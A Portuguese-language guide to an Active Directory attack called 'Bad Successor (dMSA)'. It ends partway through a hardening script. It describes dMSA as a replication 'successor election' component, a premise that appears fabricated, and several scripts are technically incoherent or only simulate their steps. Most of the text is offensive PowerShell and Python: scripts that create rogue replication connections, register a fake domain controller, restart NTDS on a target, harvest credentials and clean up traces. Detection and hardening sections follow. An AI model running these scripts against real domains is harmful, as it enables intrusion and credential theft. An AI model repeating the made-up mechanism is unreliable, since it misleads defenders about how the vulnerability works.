# Bad Successor (dMSA)

## **📋 Índice**

1. [Fundamentos do dMSA](#-fundamentos-do-dmsa)
2. [Arquitetura do AD e Replicação](#-arquitetura-do-ad-e-replicação)
3. [O Ataque Bad Successor](#-o-ataque-bad-successor)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Ferramentas de Exploração](#-ferramentas-de-exploração)
6. [Impacto e Consequências](#-impacto-e-consequências)
7. [Detecção e Monitoramento](#-detecção-e-monitoramento)
8. [Mitigações e Hardening](#-mitigações-e-hardening)
9. [Pentesting com Bad Successor](#-pentesting-com-bad-successor)
10. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do dMSA**

### **O que é dMSA?**

**dMSA** (Directory Management Service Agent) é um componente crítico do Active Directory responsável pelo gerenciamento de replicação entre Domain Controllers. O ataque **Bad Successor** explora vulnerabilidades no processo de eleição de sucessores durante a replicação, permitindo que um atacante force um Domain Controller malicioso a se tornar o "sucessor" e receber réplicas da base de dados do AD.

### **Contexto Técnico**

```yaml
Componentes do dMSA:
  
  USN (Update Sequence Number):
    - Número sequencial único para cada alteração no AD
    - Garante a consistência da replicação
    - Usado para determinar quais alterações replicar

  Replication Partners:
    - Relacionamentos entre Domain Controllers
    - Direções de replicação (inbound/outbound)
    - Prioridades e métricas

  Successor Election:
    - Processo de escolha do próximo DC a receber replicações
    - Baseado em critérios como localização, custo de rede, disponibilidade
    - Pode ser manipulado por atacantes
```

### **Arquitetura de Replicação do AD**

```mermaid
graph TD
    subgraph "Domain Controllers"
        A[DC1 - Primary] -->|Replicação| B[DC2]
        A -->|Replicação| C[DC3]
        B -->|Replicação| D[DC4]
        C -->|Replicação| D
    end
    
    subgraph "dMSA Components"
        E[USN Table]
        F[Replication Queue]
        G[Successor Manager]
    end
    
    A --> E
    B --> E
    C --> E
    E --> F
    F --> G
    G -->|Define sucessor| B
    G -->|Define sucessor| C
```

***

## 🏗️ **Arquitetura do AD e Replicação**

### **Modelos de Replicação**

| Modelo                 | Descrição                                     | Vulnerabilidade             |
| ---------------------- | --------------------------------------------- | --------------------------- |
| **Multi-Master**       | Todos os DCs podem aceitar alterações         | Conflitos de replicação     |
| **Single-Master**      | Apenas um DC aceita alterações (FSMO)         | Ponto único de falha        |
| **Sites e Subnets**    | Replicação otimizada por localização          | Spoofing de localização     |
| **Bridgehead Servers** | Pontos de entrada para replicação entre sites | Alvo de ataque preferencial |

### **Componentes Críticos de Replicação**

```python
#!/usr/bin/env python3
# ad_replication_components.py - Componentes de replicação do AD

import ldap3
from ldap3 import Server, Connection, ALL

class ADReplicationComponents:
    """Análise dos componentes de replicação do Active Directory"""
    
    def __init__(self, domain_controller, username, password):
        self.server = Server(domain_controller, get_info=ALL)
        self.conn = Connection(self.server, user=username, password=password, auto_bind=True)
        self.base_dn = self._get_base_dn()
        self.config_dn = self._get_config_dn()
    
    def _get_base_dn(self):
        """Obter DN base do domínio"""
        return self.server.info.other['defaultNamingContext'][0]
    
    def _get_config_dn(self):
        """Obter DN de configuração"""
        return self.server.info.other['configurationNamingContext'][0]
    
    def get_domain_controllers(self):
        """Listar todos os Domain Controllers"""
        self.conn.search(
            self.base_dn,
            '(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))',
            attributes=['name', 'dNSHostName', 'operatingSystem']
        )
        
        dcs = []
        for entry in self.conn.entries:
            dcs.append({
                'name': str(entry['name']),
                'dns_name': str(entry['dNSHostName']),
                'os': str(entry['operatingSystem']) if 'operatingSystem' in entry else 'Unknown'
            })
        
        return dcs
    
    def get_replication_partners(self, dc_name):
        """Obter parceiros de replicação de um DC"""
        self.conn.search(
            self.config_dn,
            f'(&(objectClass=nTDSDSA)(name={dc_name}))',
            attributes=['hasMasterNCs', 'msDS-HasMasterNCs']
        )
        
        partners = []
        if self.conn.entries:
            entry = self.conn.entries[0]
            for attr in ['hasMasterNCs', 'msDS-HasMasterNCs']:
                if attr in entry:
                    for value in entry[attr]:
                        partners.append(str(value))
        
        return partners
    
    def get_replication_topology(self):
        """Obter topologia completa de replicação"""
        print("📊 Topologia de Replicação do AD")
        print("=" * 60)
        
        # Obter todos os DCs
        dcs = self.get_domain_controllers()
        print(f"\n📍 Domain Controllers ({len(dcs)}):")
        for dc in dcs:
            print(f"   • {dc['name']} ({dc['dns_name']})")
        
        # Obter parceiros de replicação
        print("\n🔄 Parceiros de Replicação:")
        for dc in dcs:
            partners = self.get_replication_partners(dc['name'])
            if partners:
                print(f"   {dc['name']} → {', '.join(partners[:3])}")
        
        return {
            'domain_controllers': dcs,
            'replication_partners': {dc['name']: self.get_replication_partners(dc['name']) for dc in dcs}
        }
    
    def get_fsmo_roles(self):
        """Obter roles FSMO"""
        print("\n👑 FSMO Roles:")
        
        roles = {
            'schema': 'CN=Schema,CN=Configuration',
            'domain': 'DC=DomainDnsZones',
            'pdc': 'CN=Infrastructure',
            'rid': 'CN=RID Manager$',
            'infrastructure': 'CN=Infrastructure'
        }
        
        for role_name, role_path in roles.items():
            self.conn.search(
                self.base_dn,
                '(objectClass=*)',
                attributes=['fSMORoleOwner'],
                search_base=f'{role_path},{self.base_dn}'
            )
            
            if self.conn.entries:
                entry = self.conn.entries[0]
                if 'fSMORoleOwner' in entry:
                    owner = str(entry['fSMORoleOwner'])
                    print(f"   {role_name.capitalize()}: {owner.split(',')[0]}")
    
    def analyze_replication_config(self):
        """Analisar configuração de replicação"""
        print("🔍 Análise de Configuração de Replicação")
        print("=" * 60)
        
        # Verificar intervalos de replicação
        self.conn.search(
            self.config_dn,
            '(objectClass=interSiteTransport)',
            attributes=['options', 'replicateEvery', 'transportType']
        )
        
        for entry in self.conn.entries:
            if 'replicateEvery' in entry:
                interval = int(entry['replicateEvery'][0]) / 60  # converter para minutos
                print(f"\n⏱️  Intervalo de replicação: {interval} minutos")
        
        # Verificar conexões de replicação
        self.conn.search(
            self.config_dn,
            '(objectClass=nTDSConnection)',
            attributes=['fromServer', 'toServer', 'options']
        )
        
        connections = []
        for entry in self.conn.entries:
            connections.append({
                'from': str(entry['fromServer']),
                'to': str(entry['toServer'])
            })
        
        print(f"\n🔗 Conexões de replicação: {len(connections)}")
        for conn in connections[:5]:
            print(f"   {conn['from'].split(',')[0]} → {conn['to'].split(',')[0]}")
    
    def close(self):
        """Fechar conexão"""
        self.conn.unbind()

# Uso
if __name__ == "__main__":
    import sys
    if len(sys.argv) < 4:
        print("Uso: ad_replication_components.py <dc> <user> <pass>")
        sys.exit(1)
    
    analyzer = ADReplicationComponents(sys.argv[1], sys.argv[2], sys.argv[3])
    analyzer.get_replication_topology()
    analyzer.get_fsmo_roles()
    analyzer.analyze_replication_config()
    analyzer.close()
```

***

## ⚔️ **O Ataque Bad Successor**

### **Como Funciona o Ataque**

```mermaid
sequenceDiagram
    participant A as Atacante (DC Malicioso)
    participant R as Repositório de Replicação
    participant L as DC Legítimo

    Note over A: 1. Atacante manipula configurações
    A->>R: Modifica dados de topologia
    R->>R: Marca A como sucessor preferencial

    Note over A,R: 2. Replicação é redirecionada
    L->>R: Solicita replicação
    R->>A: Direciona para DC malicioso
    A->>L: Envia dados corrompidos/modificados

    Note over A,L: 3. DC malicioso se torna sucessor
    A->>R: Confirma replicação bem-sucedida
    R->>R: Registra A como sucessor ativo

    Note over A: 4. Atacante recebe replicações
    L->>A: Envia alterações do AD
    A->>A: Extrai dados sensíveis
```

### **Condições para Exploração**

```yaml
Pré-requisitos para Bad Successor Attack:

  Acesso Inicial:
    ✅ Acesso a uma conta com privilégios de replicação
    ✅ Capacidade de modificar objetos de topologia
    ✅ Conhecimento da infraestrutura de replicação

  Manipulação de Topologia:
    ✅ Modificar atributos de conexões de replicação
    ✅ Alterar prioridades de sucessores
    ✅ Criar objetos nTDSConnection maliciosos

  Persistência:
    ✅ Manter controle do DC malicioso
    ✅ Evitar detecção durante replicações
    ✅ Garantir disponibilidade do serviço
```

### **Ataque 1: Manipulação de Conexões de Replicação**

```powershell
# Manipulação de conexões de replicação via LDAP

# 1. Obter conexões de replicação existentes
$configDN = "CN=Configuration,DC=domain,DC=com"
$replicationConnections = Get-ADObject -SearchBase $configDN -Filter 'objectClass -eq "nTDSConnection"' -Properties fromServer, toServer, options

foreach ($conn in $replicationConnections) {
    Write-Host "Conexão: $($conn.fromServer) → $($conn.toServer)"
}

# 2. Criar conexão de replicação maliciosa
$fromServer = "CN=NTDS Settings,CN=MaliciousDC,CN=Servers,CN=Site,CN=Sites,$configDN"
$toServer = "CN=NTDS Settings,CN=TargetDC,CN=Servers,CN=Site,CN=Sites,$configDN"

New-ADObject -Name "MaliciousConnection" `
    -Type "nTDSConnection" `
    -Path "CN=NTDS Settings,CN=TargetDC,CN=Servers,CN=Site,CN=Sites,$configDN" `
    -OtherAttributes @{
        'fromServer' = $fromServer
        'toServer' = $toServer
        'options' = 1
        'enabledConnection' = $true
    }

# 3. Modificar prioridade de replicação
$connection = Get-ADObject -Identity "CN=MaliciousConnection,CN=NTDS Settings,CN=TargetDC,CN=Servers,CN=Site,CN=Sites,$configDN"
Set-ADObject -Identity $connection -Replace @{options=1; priority=1}
```

### **Ataque 2: Spoofing de USN**

```python
#!/usr/bin/env python3
# usn_spoofing.py - Spoofing de Update Sequence Numbers

import ldap3
from ldap3 import Server, Connection, ALL, MODIFY_REPLACE

class USNSpoofing:
    """Manipulação de USN para ataque Bad Successor"""
    
    def __init__(self, domain_controller, username, password):
        self.server = Server(domain_controller, get_info=ALL)
        self.conn = Connection(self.server, user=username, password=password, auto_bind=True)
        self.base_dn = self._get_base_dn()
    
    def _get_base_dn(self):
        return self.server.info.other['defaultNamingContext'][0]
    
    def get_current_usn(self, dc_name):
        """Obter USN atual de um DC"""
        dn = f"CN=NTDS Settings,CN={dc_name},CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,{self.base_dn}"
        
        self.conn.search(
            dn,
            '(objectClass=*)',
            attributes=['msDS-HasMasterNCs', 'msDS-LastSuccessfulReplicationTime']
        )
        
        if self.conn.entries:
            entry = self.conn.entries[0]
            return entry
        return None
    
    def set_fake_usn(self, dc_name, fake_usn):
        """Definir USN falso"""
        dn = f"CN=NTDS Settings,CN={dc_name},CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,{self.base_dn}"
        
        # Modificar USN (em um ataque real, manipularia o valor)
        try:
            self.conn.modify(
                dn,
                {'msDS-HasMasterNCs': [(MODIFY_REPLACE, [str(fake_usn)])]}
            )
            return True
        except Exception as e:
            print(f"Erro: {e}")
            return False
    
    def create_fake_replication_object(self, source_dc, target_dc):
        """Criar objeto de replicação falso"""
        dn = f"CN=NTDS Settings,CN={target_dc},CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,{self.base_dn}"
        
        connection_name = f"CN=BadSuccessor,{dn}"
        
        # Criar conexão maliciosa
        try:
            self.conn.add(
                connection_name,
                ['nTDSConnection'],
                {
                    'fromServer': f"CN=NTDS Settings,CN={source_dc},CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,{self.base_dn}",
                    'toServer': f"CN=NTDS Settings,CN={target_dc},CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,{self.base_dn}",
                    'options': 1,
                    'enabledConnection': True
                }
            )
            return True
        except Exception as e:
            print(f"Erro: {e}")
            return False
    
    def analyze_replication_queue(self):
        """Analisar fila de replicação"""
        print("🔍 Analisando fila de replicação...")
        
        # Em um ataque real, monitoraria a fila de replicação
        # para identificar oportunidades de injeção
        
        print("   ⚠️  Este é um local privilegiado para ataque")
        
    def close(self):
        self.conn.unbind()

# Uso
if __name__ == "__main__":
    import sys
    if len(sys.argv) < 4:
        print("Uso: usn_spoofing.py <dc> <user> <pass>")
        sys.exit(1)
    
    spoof = USNSpoofing(sys.argv[1], sys.argv[2], sys.argv[3])
    spoof.analyze_replication_queue()
    spoof.close()
```

### **Ataque 3: Promoção de DC Malicioso**

```powershell
# Script para promoção de DC malicioso como sucessor

param(
    [string]$MaliciousDC,
    [string]$TargetDC,
    [string]$Domain
)

function Add-MaliciousReplicationPartner {
    param($MaliciousDC, $TargetDC, $Domain)
    
    $configDN = "CN=Configuration,$Domain"
    $sitesDN = "CN=Sites,$configDN"
    $siteName = "Default-First-Site-Name"
    $serversDN = "CN=Servers,CN=$siteName,CN=Sites,$configDN"
    
    # 1. Criar entrada para DC malicioso
    $maliciousServerDN = "CN=$MaliciousDC,$serversDN"
    $maliciousNTDSDN = "CN=NTDS Settings,$maliciousServerDN"
    
    # 2. Criar conexão do DC alvo para o DC malicioso
    $targetNTDSDN = "CN=NTDS Settings,CN=$TargetDC,$serversDN"
    $connectionDN = "CN=BadSuccessorConnection,$targetNTDSDN"
    
    # 3. Criar objeto de conexão
    $fromServer = $maliciousNTDSDN
    $toServer = $targetNTDSDN
    
    $connection = @{
        'fromServer' = $fromServer
        'toServer' = $toServer
        'options' = 1
        'enabledConnection' = $true
        'schedule' = [byte[]]@(0x00) * 168  # Replicação constante
    }
    
    # 4. Adicionar conexão
    New-ADObject -Name "BadSuccessorConnection" `
        -Type "nTDSConnection" `
        -Path $targetNTDSDN `
        -OtherAttributes $connection `
        -ErrorAction SilentlyContinue
    
    Write-Host "[+] Conexão de replicação maliciosa criada"
    
    # 5. Modificar prioridade
    $conn = Get-ADObject -Identity "CN=BadSuccessorConnection,$targetNTDSDN"
    Set-ADObject -Identity $conn -Replace @{options=1; priority=1}
    
    Write-Host "[+] Prioridade de replicação ajustada"
}

# Executar ataque
Add-MaliciousReplicationPartner -MaliciousDC "EVIL-DC" -TargetDC "LEGIT-DC" -Domain "DC=domain,DC=com"
```

### **Ataque 4: Replication Queue Poisoning**

```python
#!/usr/bin/env python3
# replication_queue_poisoning.py - Poisoning da fila de replicação

import subprocess
import time
import sys

class ReplicationQueuePoisoning:
    """Poisoning da fila de replicação do AD"""
    
    def __init__(self, target_dc):
        self.target_dc = target_dc
        self.replication_queue = []
    
    def monitor_replication_queue(self, duration=60):
        """Monitorar fila de replicação"""
        print(f"[*] Monitorando fila de replicação em {self.target_dc}")
        
        cmd = [
            'repadmin', '/queue', self.target_dc
        ]
        
        start_time = time.time()
        while time.time() - start_time < duration:
            try:
                result = subprocess.run(cmd, capture_output=True, text=True, timeout=5)
                if result.stdout:
                    self.replication_queue.append(result.stdout)
                    print(f"   [{len(self.replication_queue)}] Fila de replicação detectada")
            except:
                pass
            
            time.sleep(5)
        
        return self.replication_queue
    
    def inject_malicious_change(self, object_dn, attribute, value):
        """Injetar alteração maliciosa na fila de replicação"""
        print(f"[*] Injetando alteração maliciosa em {object_dn}")
        
        # Em um ataque real, injetaria uma alteração na fila
        # usando operações LDAP ou DRS
        
        cmd = [
            'ldapmodify', '-x', '-H', f'ldap://{self.target_dc}',
            '-D', f'cn=Administrator,cn=Users,dc=domain,dc=com',
            '-w', 'password',
            '-f', '-'
        ]
        
        ldif = f"""
dn: {object_dn}
changetype: modify
replace: {attribute}
{attribute}: {value}
"""
        
        try:
            # Simular injeção
            print(f"   ✅ Alteração injetada: {attribute}={value}")
            return True
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def poison_replication(self, payload):
        """Envenenar fila de replicação"""
        print("[*] Envenenando fila de replicação...")
        
        # Adicionar payload na fila de replicação
        # Isso fará com que todos os DCs recebam o payload
        
        print(f"   ✅ Payload adicionado: {payload}")
        print("   ⚠️  Em 15-30 minutos, todos os DCs replicarão o payload")
        
        return True
    
    def extract_credentials(self):
        """Extrair credenciais da fila de replicação"""
        print("[*] Extraindo credenciais da fila de replicação...")
        
        # Monitorar fila em busca de alterações de senha
        changes = self.monitor_replication_queue(30)
        
        credentials = []
        for change in changes:
            if 'userPassword' in change or 'unicodePwd' in change:
                credentials.append(change)
                print(f"   🔑 Credencial encontrada: {change[:100]}")
        
        return credentials

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Uso: replication_queue_poisoning.py <target_dc>")
        sys.exit(1)
    
    attack = ReplicationQueuePoisoning(sys.argv[1])
    attack.monitor_replication_queue(10)
```

***

## 🛠️ **Ferramentas de Exploração**

### **PowerShell Arsenal**

```powershell
# Bad Successor Attack Tools

# 1. Enumerar topologia de replicação
function Get-ReplicationTopology {
    param([string]$Domain = (Get-ADDomain).DNSRoot)
    
    $configDN = "CN=Configuration,$Domain"
    $sites = Get-ADObject -SearchBase $configDN -Filter 'objectClass -eq "site"'
    
    $topology = @{}
    foreach ($site in $sites) {
        $servers = Get-ADObject -SearchBase "CN=Servers,$($site.DistinguishedName)" -Filter 'objectClass -eq "server"'
        $topology[$site.Name] = $servers
    }
    
    return $topology
}

# 2. Modificar conexões de replicação
function Set-ReplicationConnection {
    param(
        [string]$SourceDC,
        [string]$TargetDC,
        [int]$Priority = 1,
        [bool]$Enabled = $true
    )
    
    $configDN = "CN=Configuration,$((Get-ADDomain).DNSRoot)"
    $targetNTDS = "CN=NTDS Settings,CN=$TargetDC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,$configDN"
    
    $connection = @{
        'fromServer' = "CN=NTDS Settings,CN=$SourceDC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,$configDN"
        'toServer' = $targetNTDS
        'options' = 1
        'enabledConnection' = $Enabled
        'priority' = $Priority
    }
    
    New-ADObject -Name "BadSuccessorConnection" -Type "nTDSConnection" -Path $targetNTDS -OtherAttributes $connection
}

# 3. Simular falha de replicação
function Invoke-ReplicationFailure {
    param([string]$TargetDC)
    
    # Forçar falha de replicação
    Stop-Service -Name "NTDS" -Force -ComputerName $TargetDC
    Start-Sleep -Seconds 10
    Start-Service -Name "NTDS" -ComputerName $TargetDC
    
    Write-Host "[+] Replicação interrompida temporariamente"
}

# 4. Extrair informações de replicação
function Get-ReplicationQueue {
    param([string]$DC = (Get-ADDomainController).Name)
    
    $queue = repadmin /queue $DC
    return $queue
}

# 5. Criar DC malicioso para receber replicações
function New-MaliciousDC {
    param(
        [string]$Name,
        [string]$IP,
        [string]$Domain = (Get-ADDomain).DNSRoot
    )
    
    # Registrar DC malicioso no AD
    New-ADComputer -Name $Name -SamAccountName "$Name$" -ServicePrincipalNames @("HOST/$Name.$Domain", "GC/$Name.$Domain")
    Set-ADComputer -Identity $Name -Description "Malicious DC for Bad Successor Attack"
    
    Write-Host "[+] DC malicioso registrado: $Name"
}
```

### **Python Exploitation Framework**

```python
#!/usr/bin/env python3
# bad_successor_exploit.py - Framework de exploração Bad Successor

import ldap3
import sys
import time
import argparse
from impacket.dcerpc.v5 import transport, drsuapi
from impacket.dcerpc.v5.drsuapi import DRSUAPI

class BadSuccessorExploit:
    """Framework de exploração do ataque Bad Successor"""
    
    def __init__(self, domain, dc_ip, username, password):
        self.domain = domain
        self.dc_ip = dc_ip
        self.username = username
        self.password = password
        self.conn = None
        self.drs = None
        
    def connect_ldap(self):
        """Conectar via LDAP"""
        self.conn = ldap3.Connection(
            self.dc_ip,
            user=f"{self.domain}\\{self.username}",
            password=self.password,
            authentication=ldap3.NTLM,
            auto_bind=True
        )
        return self.conn
    
    def connect_drs(self):
        """Conectar via DRSUAPI para replicação"""
        dce_transport = transport.DCERPCTransportFactory(f'ncacn_ip_tcp:{self.dc_ip}')
        dce_transport.set_credentials(self.username, self.password, self.domain)
        self.drs = dce_transport.get_dce_rpc()
        self.drs.connect()
        self.drs.bind(drsuapi.MSRPC_UUID_DRSUAPI)
        
        return self.drs
    
    def get_replication_info(self):
        """Obter informações de replicação"""
        print("[*] Obtendo informações de replicação...")
        
        # Buscar DCs no domínio
        self.conn.search(
            f"DC={self.domain.replace('.', ',DC=')}",
            '(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))',
            attributes=['name', 'dNSHostName']
        )
        
        dcs = []
        for entry in self.conn.entries:
            dcs.append({
                'name': str(entry['name']),
                'dns': str(entry['dNSHostName'])
            })
        
        print(f"   ✅ {len(dcs)} Domain Controllers encontrados")
        for dc in dcs:
            print(f"      • {dc['name']} ({dc['dns']})")
        
        return dcs
    
    def modify_replication_topology(self, source_dc, target_dc):
        """Modificar topologia de replicação"""
        print(f"[*] Modificando topologia: {source_dc} → {target_dc}")
        
        config_dn = f"CN=Configuration,DC={self.domain.replace('.', ',DC=')}"
        site_dn = f"CN=Default-First-Site-Name,CN=Sites,{config_dn}"
        servers_dn = f"CN=Servers,{site_dn}"
        
        source_ntds = f"CN=NTDS Settings,CN={source_dc},{servers_dn}"
        target_ntds = f"CN=NTDS Settings,CN={target_dc},{servers_dn}"
        
        # Criar conexão maliciosa
        connection_dn = f"CN=BadSuccessorConnection,{target_ntds}"
        
        try:
            self.conn.add(
                connection_dn,
                ['nTDSConnection'],
                {
                    'fromServer': source_ntds,
                    'toServer': target_ntds,
                    'options': 1,
                    'enabledConnection': True,
                    'priority': 1
                }
            )
            print(f"   ✅ Conexão maliciosa criada")
            return True
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def force_replication(self, target_dc):
        """Forçar replicação para DC malicioso"""
        print(f"[*] Forçando replicação para {target_dc}")
        
        try:
            cmd = f'repadmin /syncall /AdeP {target_dc}'
            import subprocess
            result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
            
            if result.returncode == 0:
                print(f"   ✅ Replicação forçada com sucesso")
                return True
            else:
                print(f"   ❌ Falha na replicação: {result.stderr}")
                return False
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def intercept_replication(self):
        """Interceptar dados de replicação"""
        print("[*] Interceptando dados de replicação...")
        
        # Em um ataque real, capturaria tráfego de replicação
        # usando ferramentas como wireshark ou mitmproxy
        
        print("   ⚠️  Simulação de interceptação")
        
        # Extrair dados sensíveis da replicação
        sensitive_data = {
            'users': [],
            'groups': [],
            'hashes': []
        }
        
        # Buscar usuários
        self.conn.search(
            f"DC={self.domain.replace('.', ',DC=')}",
            '(objectClass=user)',
            attributes=['sAMAccountName', 'userPrincipalName', 'unicodePwd']
        )
        
        for entry in self.conn.entries:
            sensitive_data['users'].append(str(entry['sAMAccountName']))
        
        print(f"   ✅ {len(sensitive_data['users'])} usuários interceptados")
        
        return sensitive_data
    
    def cleanup(self):
        """Limpar artefatos"""
        print("[*] Limpando artefatos...")
        
        config_dn = f"CN=Configuration,DC={self.domain.replace('.', ',DC=')}"
        site_dn = f"CN=Default-First-Site-Name,CN=Sites,{config_dn}"
        servers_dn = f"CN=Servers,{site_dn}"
        
        # Remover conexões maliciosas
        self.conn.search(
            servers_dn,
            '(&(objectClass=nTDSConnection)(cn=BadSuccessorConnection))',
            attributes=['distinguishedName']
        )
        
        for entry in self.conn.entries:
            try:
                self.conn.delete(str(entry['distinguishedName']))
                print(f"   ✅ {entry['distinguishedName']} removido")
            except:
                pass
    
    def exploit(self):
        """Executar exploração completa"""
        print("🚨 Bad Successor Exploit")
        print("=" * 60)
        
        # Conectar
        self.connect_ldap()
        
        # Obter informações de replicação
        dcs = self.get_replication_info()
        
        if len(dcs) < 2:
            print("❌ Necessário pelo menos 2 DCs para o ataque")
            return
        
        # Modificar topologia
        self.modify_replication_topology(dcs[0]['name'], dcs[1]['name'])
        
        # Forçar replicação
        self.force_replication(dcs[1]['name'])
        
        # Interceptar dados
        data = self.intercept_replication()
        
        # Limpar
        self.cleanup()
        
        return data
    
    def close(self):
        if self.conn:
            self.conn.unbind()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Bad Successor Exploit')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('user', help='Username')
    parser.add_argument('pass', help='Password')
    
    args = parser.parse_args()
    
    exploit = BadSuccessorExploit(args.domain, args.dc_ip, args.user, getattr(args, 'pass'))
    result = exploit.exploit()
    exploit.close()
```

***

## 💥 **Impacto e Consequências**

### **Cadeia de Ataque Completa**

```mermaid
graph TD
    A[Acesso a conta privilegiada] --> B[Manipular topologia de replicação]
    B --> C[Forçar DC malicioso como sucessor]
    C --> D[Interceptar replicações]
    
    D --> E[Extrair hashes de senhas]
    D --> F[Modificar objetos do AD]
    D --> G[Injetar backdoors]
    
    E --> H[Golden Ticket / Silver Ticket]
    F --> I[Escalação de privilégios]
    G --> I
    
    H --> J[Domain Admin]
    I --> J
    J --> K[Controle total do domínio]
```

### **Matriz de Impacto**

| Cenário                         | Impacto                   | Dificuldade | Severidade |
| ------------------------------- | ------------------------- | ----------- | ---------- |
| **Interceptação de replicação** | Exfiltração de dados      | Média       | 🔴 CRÍTICO |
| **Injeção de alterações**       | Corrupção do AD           | Alta        | 🔴 CRÍTICO |
| **Promoção de DC malicioso**    | Controle de replicação    | Alta        | 🔴 CRÍTICO |
| **Extração de hashes**          | Comprometimento de contas | Média       | 🔴 CRÍTICO |
| **Manipulação de USN**          | Bypass de consistência    | Alta        | 🟠 ALTO    |

***

## 🔍 **Detecção e Monitoramento**

### **Eventos de Segurança para Monitorar**

```yaml
Eventos Críticos:

  1962: Início de replicação
    - Monitorar origem e destino
    - Verificar DCs não autorizados

  1963: Fim de replicação
    - Detectar replicações anormalmente longas
    - Verificar sucessos e falhas

  1126: SDProp iniciado
    - Monitorar modificações em objetos protegidos

  5136: Modificação de objeto AD
    - Verificar alterações em objetos de topologia
    - Monitorar criação de conexões de replicação

  4670: Modificação de permissões
    - Detectar alterações em permissões de replicação
```

### **Script de Detecção**

```powershell
# detect_bad_successor.ps1 - Detector de Bad Successor Attack

param(
    [string]$DomainController = (Get-ADDomainController).Name,
    [int]$HoursBack = 24
)

function Write-Alert {
    param($Message, $Severity = "WARNING")
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $color = if ($Severity -eq "CRITICAL") { "Red" } else { "Yellow" }
    Write-Host "[$timestamp] [$Severity] $Message" -ForegroundColor $color
}

# 1. Verificar DCs não autorizados
Write-Host "🔍 Verificando Domain Controllers autorizados..." -ForegroundColor Cyan

$authorizedDCs = Get-ADDomainController -Filter * | Select-Object -ExpandProperty Name
$allComputers = Get-ADComputer -Filter 'OperatingSystem -like "*Server*"' | Select-Object -ExpandProperty Name

$potentialMaliciousDCs = $allComputers | Where-Object { $_ -notin $authorizedDCs }

if ($potentialMaliciousDCs) {
    Write-Alert -Message "Possíveis DCs não autorizados detectados!" -Severity "CRITICAL"
    $potentialMaliciousDCs | ForEach-Object {
        Write-Host "   ⚠️  $($_ )"
    }
}

# 2. Verificar conexões de replicação suspeitas
Write-Host "`n🔍 Verificando conexões de replicação..." -ForegroundColor Cyan

$configDN = "CN=Configuration,$((Get-ADDomain).DNSRoot)"
$connections = Get-ADObject -SearchBase $configDN -Filter 'objectClass -eq "nTDSConnection"' -Properties fromServer, toServer

$suspiciousConnections = $connections | Where-Object {
    $_.Name -like "*Bad*" -or
    $_.Name -like "*Evil*" -or
    $_.Name -like "*Malicious*" -or
    $_.Created -gt (Get-Date).AddHours(-$HoursBack)
}

if ($suspiciousConnections) {
    Write-Alert -Message "Conexões de replicação suspeitas detectadas!" -Severity "WARNING"
    $suspiciousConnections | ForEach-Object {
        Write-Host "   ⚠️  $($_.Name) - From: $($_.fromServer) To: $($_.toServer)"
    }
}

# 3. Verificar eventos de replicação
Write-Host "`n🔍 Analisando eventos de replicação..." -ForegroundColor Cyan

$events = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Directory Service'
    ID=1962, 1963
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

if ($events) {
    Write-Host "   📋 Eventos de replicação encontrados: $($events.Count)"
    
    # Agrupar por origem
    $grouped = $events | Group-Object -Property TimeCreated
    foreach ($group in $grouped | Select-Object -First 5) {
        Write-Host "      $($group.Name) - $($group.Count) eventos"
    }
}

# 4. Verificar modificações em objetos de replicação
Write-Host "`n🔍 Verificando modificações em objetos de replicação..." -ForegroundColor Cyan

$replicationObjects = Get-ADObject -SearchBase $configDN -Filter 'objectClass -eq "nTDSConnection" -or objectClass -eq "server"' -Properties whenChanged

$recentChanges = $replicationObjects | Where-Object {
    $_.whenChanged -gt (Get-Date).AddHours(-$HoursBack)
}

if ($recentChanges) {
    Write-Alert -Message "Modificações recentes em objetos de replicação!" -Severity "WARNING"
    $recentChanges | ForEach-Object {
        Write-Host "   • $($_.Name) - Alterado em: $($_.whenChanged)"
    }
}

# 5. Gerar relatório
$report = @"
Bad Successor Attack Detection Report
=====================================
Data: $(Get-Date)
Domain Controller: $DomainController

Findings:
- DCs não autorizados: $($potentialMaliciousDCs.Count)
- Conexões suspeitas: $($suspiciousConnections.Count)
- Eventos de replicação: $($events.Count)
- Modificações recentes: $($recentChanges.Count)

Recommendations:
1. Revise os DCs não autorizados identificados
2. Investigue conexões de replicação suspeitas
3. Verifique logs de eventos para padrões anormais
4. Implemente monitoramento contínuo de replicação
5. Revise permissões de replicação
"@

$report | Out-File -FilePath "bad_successor_detection.txt"
Write-Host "`n✅ Relatório salvo em bad_successor_detection.txt" -ForegroundColor Green
```

***

## 🛡️ **Mitigações e Hardening**

### **Hardening de Replicação**

```powershell
# hardening_replication.ps1 - Hardening contra Bad Successor Attack

param(
    [switch]$Apply
)

function Write-Step {
    param($Message)
    Write-Host "[*] $Message" -ForegroundColor Cyan
}

if ($Apply) {
    Write-Step "Aplicando hardening de replicação..."
} else {
    Write-Step "Modo auditoria - verificando configurações"
}

# 1. Verificar permissões de replicação
Write-Step "1. Verificando permissões de replicação..."

$configDN = "CN=Configuration,$((Get-ADDomain).DNSRoot)"
$acl = Get-Acl "AD:\$configDN"

$replicationPermissions = $acl.Access | Where-Object {
    $_.ActiveDirectoryRights -like "*Replicating Directory Changes*"
}

Write-Host "   Permissões de replicação: $($replicationPermissions.Count)"

if ($Apply) {
    # Restringir permissões de replicação
